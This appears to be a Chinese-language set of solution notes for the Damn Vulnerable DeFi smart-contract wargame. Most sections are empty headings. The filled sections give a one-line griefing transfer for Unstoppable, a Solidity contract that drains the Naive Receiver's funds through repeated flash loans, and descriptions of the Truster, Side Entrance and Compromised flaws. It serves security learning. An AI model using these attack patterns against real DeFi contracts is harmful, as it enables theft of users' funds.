Damn Vulnerable DeFi 是学习以太坊 DeFi 智能合约攻击性安全性的战争游戏。

游戏内容包括:

  • 闪贷
  • 价格塔、
  • 治理、
  • NFT、
  • DEX、
  • 借贷池、
  • 智能合约钱包
  • 时间锁等

1.Unstoppable

关卡题目

https://www.damnvulnerabledefi.xyz/challenges/unstoppable/

通关需要让 Vault 合约停止提供 闪电贷 功能。

Hack思路

闪电贷逻辑理有检查合约内部的代币 和外部代币必须一致,只要通过外部给Vault转移一定Tokne就可以让逻辑运行不下去。

问题代码:

function flashLoan(){
  // ...
  if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
  // ...
}

攻击代码:

await token.connect(player).transfer(vault.address, 1)

2.Naive Receiver

关卡题目

Hack思路

每次手续费 1 Ether, 而且 receiver 里 没有做校验,唇环借0歌token 来把钱耗光。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts/interfaces/IERC3156.sol";

contract NaiveReceiverHack {
    address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    constructor(address _pool, address _receiver) {
        for (uint256 i = 0; i < 10; i++) {
            IERC3156FlashLender(_pool).flashLoan(
                IERC3156FlashBorrower(_receiver), ETH, 0, "0x"
            );
        }
    }
}

3.Truster

关卡题目

Hack思路

Lender Pool 里 调receiver 完全没有做检验,想怎么样就怎么样。

function flashLoan(){
  // ...
  // @audit-issue Execute abitraty call to any contract on behald of the pool
  target.functionCall(data);
  // ...
}

3.Side Entrance

关卡题目

Hack思路

合约有 deposit存钱 + flashLoan借贷功能, 没有做重入校验,可以直接把钱转走

4.The Rewarder

关卡题目

Hack思路

5.Selfie

关卡题目

Hack思路

7.Compromised

关卡题目

Hack思路

秘文转换 HEX => ASCII => Base64 Decode https://www.rapidtables.com/convert/number/hex-to-ascii.html

https://www.base64decode.org/

8.Puppet

关卡题目

Hack思路

9.Puppet V2

关卡题目

Hack思路

10.Free Rider

关卡题目

Hack思路

11.Backdoor

关卡题目

Hack思路

12.Climber

关卡题目

Hack思路

13.Wallet Mining

关卡题目

Hack思路

14.Puppet V3

关卡题目

Hack思路

15.ABI Smuggling

关卡题目

Hack思路

参考资料